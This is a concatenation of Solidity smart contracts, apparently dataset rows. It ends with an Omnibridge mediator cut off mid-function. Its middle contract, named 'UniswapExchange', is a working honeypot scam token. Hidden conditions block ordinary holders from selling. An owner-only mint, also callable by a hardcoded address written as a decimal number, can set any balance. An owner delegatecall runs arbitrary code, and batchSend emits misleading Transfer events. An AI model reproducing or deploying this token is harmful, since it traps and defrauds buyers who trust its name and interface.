function CFEE(uint256 NFEE) public onlyOwner {
fee = NFEE;
}
function Cweth(address TToken, uint256 nftID, uint256 amt0min, uint256 amt1min, uint128 tokensOwed0, uint128 tokensOwed1, bool ETH) public payable {
require(msg.sender == InftRoute(Unft).ownerOf(nftID));
(,,,,,,,uint128 liquidity,,,,) = InftRoute(Unft).positions(nftID);
bytes memory Adata = abi.encode(nftID,liquidity,amt0min,amt1min,now);
bytes memory Adata2 = abi.encodePacked(bytes4(0x0c49ccbe),Adata);
(bool decre,) = Unft.call(Adata2);
require(decre,"I do not Decre");
collecter(TToken,nftID,tokensOwed0, tokensOwed1,ETH);
}
function collecter(address TToken, uint256 nftID, uint128 amt0max, uint128 amt1max, bool ETH) public payable {
require(msg.sender == InftRoute(Unft).ownerOf(nftID));
bytes memory Adata = abi.encode(nftID,address(this),amt0max,amt1max);
bytes memory Adata2 = abi.encodePacked(bytes4(0xfc6f7865),Adata);
(, bytes memory rtn) = Unft.call(Adata2);
(uint128 amt0,uint128 amt1) = abi.decode(rtn,(uint128,uint128));
require(amt0 > 0 || amt1 > 0, "no amt");
uint256 Uamt = amt0 > 0 ? amt0 : amt1;
uint256 vig = Uamt.mul(fee).div(1000);
address payable usr = msg.sender;
if(ETH){
if(TToken == weth){
(bool wet,) = weth.call(abi.encodeWithSignature("withdraw(uint256)",Uamt));
require(wet, "Weth withdraw error");
usr.transfer(Uamt.sub(vig));
}else{
safeTransfer(TToken,usr,Uamt.sub(vig));
}
}else{
safeTransfer(TToken,usr,Uamt.sub(vig));
}
}
function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) {
return this.onERC721Received.selector;
}
function safeTransfer(address token, address to, uint value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function withdraw() public payable onlyOwner{
owner.transfer( address( this ).balance );
}
function toke(address _toke, uint amt) public payable onlyOwner{
if(_toke == weth){
uint256 Wbal = IERC20(weth).balanceOf(address(this));
weth.call(abi.encodeWithSignature("withdraw(uint256)",Wbal));
owner.transfer(address(this).balance);
}else{
safeTransfer(_toke,owner,amt);
}
}
function Rnft(uint256 nftID,address GoTo) public onlyOwner {
IERC721(Unft).safeTransferFrom(address(this),GoTo,nftID);
}
function kill() external payable onlyOwner{
selfdestruct(owner);
}
receive () external payable {}
fallback () external payable {}
} | 0 | 1,479 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(5843758508083877468507259303236249225277176180));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,469 |
pragma solidity ^0.7.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity 0.7.5;
contract EternalStorage {
mapping(bytes32 => uint256) internal uintStorage;
mapping(bytes32 => string) internal stringStorage;
mapping(bytes32 => address) internal addressStorage;
mapping(bytes32 => bytes) internal bytesStorage;
mapping(bytes32 => bool) internal boolStorage;
mapping(bytes32 => int256) internal intStorage;
}
pragma solidity 0.7.5;
contract Initializable is EternalStorage {
bytes32 internal constant INITIALIZED = 0x0a6f646cd611241d8073675e00d1a1ff700fbf1b53fcf473de56d1e6e4b714ba;
function setInitialize() internal {
boolStorage[INITIALIZED] = true;
}
function isInitialized() public view returns (bool) {
return boolStorage[INITIALIZED];
}
}
pragma solidity 0.7.5;
interface IUpgradeabilityOwnerStorage {
function upgradeabilityOwner() external view returns (address);
}
pragma solidity 0.7.5;
contract Upgradeable {
modifier onlyIfUpgradeabilityOwner() {
_onlyIfUpgradeabilityOwner();
_;
}
function _onlyIfUpgradeabilityOwner() internal view {
require(msg.sender == IUpgradeabilityOwnerStorage(address(this)).upgradeabilityOwner());
}
}
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.7.0;
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.7.0;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity 0.7.5;
contract Sacrifice {
constructor(address payable _recipient) payable {
selfdestruct(_recipient);
}
}
pragma solidity 0.7.5;
library AddressHelper {
function safeSendValue(address payable _receiver, uint256 _value) internal {
if (!(_receiver).send(_value)) {
new Sacrifice{ value: _value }(_receiver);
}
}
}
pragma solidity 0.7.5;
contract Claimable {
using SafeERC20 for IERC20;
modifier validAddress(address _to) {
require(_to != address(0));
_;
}
function claimValues(address _token, address _to) internal validAddress(_to) {
if (_token == address(0)) {
claimNativeCoins(_to);
} else {
claimErc20Tokens(_token, _to);
}
}
function claimNativeCoins(address _to) internal {
uint256 value = address(this).balance;
AddressHelper.safeSendValue(payable(_to), value);
}
function claimErc20Tokens(address _token, address _to) internal {
IERC20 token = IERC20(_token);
uint256 balance = token.balanceOf(address(this));
token.safeTransfer(_to, balance);
}
}
pragma solidity 0.7.5;
contract BridgedTokensRegistry is EternalStorage {
event NewTokenRegistered(address indexed nativeToken, address indexed bridgedToken);
function bridgedTokenAddress(address _nativeToken) public view returns (address) {
return addressStorage[keccak256(abi.encodePacked("homeTokenAddress", _nativeToken))];
}
function nativeTokenAddress(address _bridgedToken) public view returns (address) {
return addressStorage[keccak256(abi.encodePacked("foreignTokenAddress", _bridgedToken))];
}
function _setTokenAddressPair(address _nativeToken, address _bridgedToken) internal {
addressStorage[keccak256(abi.encodePacked("homeTokenAddress", _nativeToken))] = _bridgedToken;
addressStorage[keccak256(abi.encodePacked("foreignTokenAddress", _bridgedToken))] = _nativeToken;
emit NewTokenRegistered(_nativeToken, _bridgedToken);
}
}
pragma solidity 0.7.5;
contract NativeTokensRegistry is EternalStorage {
function isBridgedTokenDeployAcknowledged(address _token) public view returns (bool) {
return boolStorage[keccak256(abi.encodePacked("ackDeploy", _token))];
}
function _ackBridgedTokenDeploy(address _token) internal {
if (!boolStorage[keccak256(abi.encodePacked("ackDeploy", _token))]) {
boolStorage[keccak256(abi.encodePacked("ackDeploy", _token))] = true;
}
}
}
pragma solidity 0.7.5;
contract MediatorBalanceStorage is EternalStorage {
function mediatorBalance(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("mediatorBalance", _token))];
}
function _setMediatorBalance(address _token, uint256 _balance) internal {
uintStorage[keccak256(abi.encodePacked("mediatorBalance", _token))] = _balance;
}
}
pragma solidity 0.7.5;
interface IERC677 is IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
function transferAndCall(
address to,
uint256 value,
bytes calldata data
) external returns (bool);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
}
pragma solidity 0.7.5;
library Bytes {
function bytesToAddress(bytes memory _bytes) internal pure returns (address addr) {
assembly {
addr := mload(add(_bytes, 20))
}
}
}
pragma solidity 0.7.5;
contract ReentrancyGuard {
function lock() internal view returns (bool res) {
assembly {
res := sload(0x6168652c307c1e813ca11cfb3a601f1cf3b22452021a5052d8b05f1f1f8a3e92)
}
}
function setLock(bool _lock) internal {
assembly {
sstore(0x6168652c307c1e813ca11cfb3a601f1cf3b22452021a5052d8b05f1f1f8a3e92, _lock)
}
}
}
pragma solidity 0.7.5;
contract Ownable is EternalStorage {
bytes4 internal constant UPGRADEABILITY_OWNER = 0x6fde8202;
event OwnershipTransferred(address previousOwner, address newOwner);
modifier onlyOwner() {
_onlyOwner();
_;
}
function _onlyOwner() internal view {
require(msg.sender == owner());
}
modifier onlyRelevantSender() {
(bool isProxy, bytes memory returnData) =
address(this).staticcall(abi.encodeWithSelector(UPGRADEABILITY_OWNER));
require(
!isProxy ||
(returnData.length == 32 && msg.sender == abi.decode(returnData, (address))) ||
msg.sender == address(this)
);
_;
}
bytes32 internal constant OWNER = 0x02016836a56b71f0d02689e69e326f4f4c1b9057164ef592671cf0d37c8040c0;
function owner() public view returns (address) {
return addressStorage[OWNER];
}
function transferOwnership(address newOwner) external onlyOwner {
_setOwner(newOwner);
}
function _setOwner(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(owner(), newOwner);
addressStorage[OWNER] = newOwner;
}
}
pragma solidity 0.7.5;
interface IAMB {
event UserRequestForAffirmation(bytes32 indexed messageId, bytes encodedData);
event UserRequestForSignature(bytes32 indexed messageId, bytes encodedData);
event AffirmationCompleted(
address indexed sender,
address indexed executor,
bytes32 indexed messageId,
bool status
);
event RelayedMessage(address indexed sender, address indexed executor, bytes32 indexed messageId, bool status);
function messageSender() external view returns (address);
function maxGasPerTx() external view returns (uint256);
function transactionHash() external view returns (bytes32);
function messageId() external view returns (bytes32);
function messageSourceChainId() external view returns (bytes32);
function messageCallStatus(bytes32 _messageId) external view returns (bool);
function failedMessageDataHash(bytes32 _messageId) external view returns (bytes32);
function failedMessageReceiver(bytes32 _messageId) external view returns (address);
function failedMessageSender(bytes32 _messageId) external view returns (address);
function requireToPassMessage(
address _contract,
bytes calldata _data,
uint256 _gas
) external returns (bytes32);
function requireToConfirmMessage(
address _contract,
bytes calldata _data,
uint256 _gas
) external returns (bytes32);
function sourceChainId() external view returns (uint256);
function destinationChainId() external view returns (uint256);
}
pragma solidity 0.7.5;
abstract contract BasicAMBMediator is Ownable {
bytes32 internal constant BRIDGE_CONTRACT = 0x811bbb11e8899da471f0e69a3ed55090fc90215227fc5fb1cb0d6e962ea7b74f;
bytes32 internal constant MEDIATOR_CONTRACT = 0x98aa806e31e94a687a31c65769cb99670064dd7f5a87526da075c5fb4eab9880;
modifier onlyMediator {
_onlyMediator();
_;
}
function _onlyMediator() internal view {
IAMB bridge = bridgeContract();
require(msg.sender == address(bridge));
require(bridge.messageSender() == mediatorContractOnOtherSide());
}
function setBridgeContract(address _bridgeContract) external onlyOwner {
_setBridgeContract(_bridgeContract);
}
function setMediatorContractOnOtherSide(address _mediatorContract) external onlyOwner {
_setMediatorContractOnOtherSide(_mediatorContract);
}
function bridgeContract() public view returns (IAMB) {
return IAMB(addressStorage[BRIDGE_CONTRACT]);
}
function mediatorContractOnOtherSide() public view virtual returns (address) {
return addressStorage[MEDIATOR_CONTRACT];
}
function _setBridgeContract(address _bridgeContract) internal {
require(Address.isContract(_bridgeContract));
addressStorage[BRIDGE_CONTRACT] = _bridgeContract;
}
function _setMediatorContractOnOtherSide(address _mediatorContract) internal {
addressStorage[MEDIATOR_CONTRACT] = _mediatorContract;
}
function messageId() internal view returns (bytes32) {
return bridgeContract().messageId();
}
function maxGasPerTx() internal view returns (uint256) {
return bridgeContract().maxGasPerTx();
}
function _passMessage(bytes memory _data, bool _useOracleLane) internal virtual returns (bytes32);
}
pragma solidity 0.7.5;
abstract contract TokensRelayer is BasicAMBMediator, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC677;
function onTokenTransfer(
address _from,
uint256 _value,
bytes memory _data
) external returns (bool) {
if (!lock()) {
bytes memory data = new bytes(0);
address receiver = _from;
if (_data.length >= 20) {
receiver = Bytes.bytesToAddress(_data);
if (_data.length > 20) {
assembly {
let size := sub(mload(_data), 20)
data := add(_data, 20)
mstore(data, size)
}
}
}
bridgeSpecificActionsOnTokenTransfer(msg.sender, _from, receiver, _value, data);
}
return true;
}
function relayTokens(
IERC677 token,
address _receiver,
uint256 _value
) external {
_relayTokens(token, _receiver, _value, new bytes(0));
}
function relayTokens(IERC677 token, uint256 _value) external {
_relayTokens(token, msg.sender, _value, new bytes(0));
}
function relayTokensAndCall(
IERC677 token,
address _receiver,
uint256 _value,
bytes memory _data
) external {
_relayTokens(token, _receiver, _value, _data);
}
function _relayTokens(
IERC677 token,
address _receiver,
uint256 _value,
bytes memory _data
) internal {
require(!lock());
uint256 balanceBefore = token.balanceOf(address(this));
setLock(true);
token.safeTransferFrom(msg.sender, address(this), _value);
setLock(false);
uint256 balanceDiff = token.balanceOf(address(this)).sub(balanceBefore);
require(balanceDiff <= _value);
bridgeSpecificActionsOnTokenTransfer(address(token), msg.sender, _receiver, balanceDiff, _data);
}
function bridgeSpecificActionsOnTokenTransfer(
address _token,
address _from,
address _receiver,
uint256 _value,
bytes memory _data
) internal virtual;
}
pragma solidity 0.7.5;
interface VersionableBridge {
function getBridgeInterfacesVersion()
external
pure
returns (
uint64 major,
uint64 minor,
uint64 patch
);
function getBridgeMode() external pure returns (bytes4);
}
pragma solidity 0.7.5;
contract OmnibridgeInfo is VersionableBridge {
event TokensBridgingInitiated(
address indexed token,
address indexed sender,
uint256 value,
bytes32 indexed messageId
);
event TokensBridged(address indexed token, address indexed recipient, uint256 value, bytes32 indexed messageId);
function getBridgeInterfacesVersion()
external
pure
override
returns (
uint64 major,
uint64 minor,
uint64 patch
)
{
return (3, 3, 1);
}
function getBridgeMode() external pure override returns (bytes4 _data) {
return 0xb1516c26;
}
}
pragma solidity 0.7.5;
contract TokensBridgeLimits is EternalStorage, Ownable {
using SafeMath for uint256;
event DailyLimitChanged(address indexed token, uint256 newLimit);
event ExecutionDailyLimitChanged(address indexed token, uint256 newLimit);
function isTokenRegistered(address _token) public view returns (bool) {
return minPerTx(_token) > 0;
}
function totalSpentPerDay(address _token, uint256 _day) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("totalSpentPerDay", _token, _day))];
}
function totalExecutedPerDay(address _token, uint256 _day) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("totalExecutedPerDay", _token, _day))];
}
function dailyLimit(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))];
}
function executionDailyLimit(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))];
}
function maxPerTx(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))];
}
function executionMaxPerTx(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))];
}
function minPerTx(address _token) public view returns (uint256) {
uint256 limit = uintStorage[keccak256(abi.encodePacked("minPerTx", _token))];
if (_token == address(0)) {
return limit;
}
return limit > 0 ? 1 : 0;
}
function withinLimit(address _token, uint256 _amount) public view returns (bool) {
uint256 nextLimit = totalSpentPerDay(_token, getCurrentDay()).add(_amount);
return
dailyLimit(address(0)) > 0 &&
dailyLimit(_token) >= nextLimit &&
_amount <= maxPerTx(_token) &&
_amount >= minPerTx(_token);
}
function withinExecutionLimit(address _token, uint256 _amount) public view returns (bool) {
uint256 nextLimit = totalExecutedPerDay(_token, getCurrentDay()).add(_amount);
return
executionDailyLimit(address(0)) > 0 &&
executionDailyLimit(_token) >= nextLimit &&
_amount <= executionMaxPerTx(_token);
}
function getCurrentDay() public view returns (uint256) {
return block.timestamp / 1 days;
}
function setDailyLimit(address _token, uint256 _dailyLimit) external onlyOwner {
require(isTokenRegistered(_token));
require(_dailyLimit > maxPerTx(_token) || _dailyLimit == 0);
uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))] = _dailyLimit;
emit DailyLimitChanged(_token, _dailyLimit);
}
function setExecutionDailyLimit(address _token, uint256 _dailyLimit) external onlyOwner {
require(isTokenRegistered(_token));
require(_dailyLimit > executionMaxPerTx(_token) || _dailyLimit == 0);
uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))] = _dailyLimit;
emit ExecutionDailyLimitChanged(_token, _dailyLimit);
}
function setExecutionMaxPerTx(address _token, uint256 _maxPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_maxPerTx == 0 || (_maxPerTx > 0 && _maxPerTx < executionDailyLimit(_token)));
uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))] = _maxPerTx;
}
function setMaxPerTx(address _token, uint256 _maxPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_maxPerTx == 0 || (_maxPerTx > minPerTx(_token) && _maxPerTx < dailyLimit(_token)));
uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))] = _maxPerTx;
}
function setMinPerTx(address _token, uint256 _minPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_minPerTx > 0 && _minPerTx < dailyLimit(_token) && _minPerTx < maxPerTx(_token));
uintStorage[keccak256(abi.encodePacked("minPerTx", _token))] = _minPerTx;
}
function maxAvailablePerTx(address _token) public view returns (uint256) {
uint256 _maxPerTx = maxPerTx(_token);
uint256 _dailyLimit = dailyLimit(_token);
uint256 _spent = totalSpentPerDay(_token, getCurrentDay());
uint256 _remainingOutOfDaily = _dailyLimit > _spent ? _dailyLimit - _spent : 0;
return _maxPerTx < _remainingOutOfDaily ? _maxPerTx : _remainingOutOfDaily;
}
function addTotalSpentPerDay(
address _token,
uint256 _day,
uint256 _value
) internal {
uintStorage[keccak256(abi.encodePacked("totalSpentPerDay", _token, _day))] = totalSpentPerDay(_token, _day).add(
_value
);
}
function addTotalExecutedPerDay(
address _token,
uint256 _day,
uint256 _value
) internal {
uintStorage[keccak256(abi.encodePacked("totalExecutedPerDay", _token, _day))] = totalExecutedPerDay(
_token,
_day
)
.add(_value);
}
function _setLimits(address _token, uint256[3] memory _limits) internal {
require(
_limits[2] > 0 &&
_limits[1] > _limits[2] &&
_limits[0] > _limits[1]
);
uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))] = _limits[0];
uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))] = _limits[1];
uintStorage[keccak256(abi.encodePacked("minPerTx", _token))] = _limits[2];
emit DailyLimitChanged(_token, _limits[0]);
}
function _setExecutionLimits(address _token, uint256[2] memory _limits) internal {
require(_limits[1] < _limits[0]);
uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))] = _limits[0];
uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))] = _limits[1];
emit ExecutionDailyLimitChanged(_token, _limits[0]);
}
function _initializeTokenBridgeLimits(address _token, uint256 _decimals) internal {
uint256 factor;
if (_decimals < 18) {
factor = 10**(18 - _decimals);
uint256 _minPerTx = minPerTx(address(0)).div(factor);
uint256 _maxPerTx = maxPerTx(address(0)).div(factor);
uint256 _dailyLimit = dailyLimit(address(0)).div(factor);
uint256 _executionMaxPerTx = executionMaxPerTx(address(0)).div(factor);
uint256 _executionDailyLimit = executionDailyLimit(address(0)).div(factor);
if (_minPerTx == 0) {
_minPerTx = 1;
if (_maxPerTx <= _minPerTx) {
_maxPerTx = 100;
_executionMaxPerTx = 100;
if (_dailyLimit <= _maxPerTx || _executionDailyLimit <= _executionMaxPerTx) {
_dailyLimit = 10000;
_executionDailyLimit = 10000;
}
}
}
_setLimits(_token, [_dailyLimit, _maxPerTx, _minPerTx]);
_setExecutionLimits(_token, [_executionDailyLimit, _executionMaxPerTx]);
} else {
factor = 10**(_decimals - 18);
_setLimits(
_token,
[dailyLimit(address(0)).mul(factor), maxPerTx(address(0)).mul(factor), minPerTx(address(0)).mul(factor)]
);
_setExecutionLimits(
_token,
[executionDailyLimit(address(0)).mul(factor), executionMaxPerTx(address(0)).mul(factor)]
);
}
}
}
pragma solidity 0.7.5;
abstract contract BridgeOperationsStorage is EternalStorage {
function setMessageToken(bytes32 _messageId, address _token) internal {
addressStorage[keccak256(abi.encodePacked("messageToken", _messageId))] = _token;
}
function messageToken(bytes32 _messageId) internal view returns (address) {
return addressStorage[keccak256(abi.encodePacked("messageToken", _messageId))];
}
function setMessageValue(bytes32 _messageId, uint256 _value) internal {
uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))] = _value;
}
function messageValue(bytes32 _messageId) internal view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))];
}
function setMessageRecipient(bytes32 _messageId, address _recipient) internal {
addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))] = _recipient;
}
function messageRecipient(bytes32 _messageId) internal view returns (address) {
return addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))];
}
}
pragma solidity 0.7.5;
abstract contract FailedMessagesProcessor is BasicAMBMediator, BridgeOperationsStorage {
event FailedMessageFixed(bytes32 indexed messageId, address token, address recipient, uint256 value);
function requestFailedMessageFix(bytes32 _messageId) external {
IAMB bridge = bridgeContract();
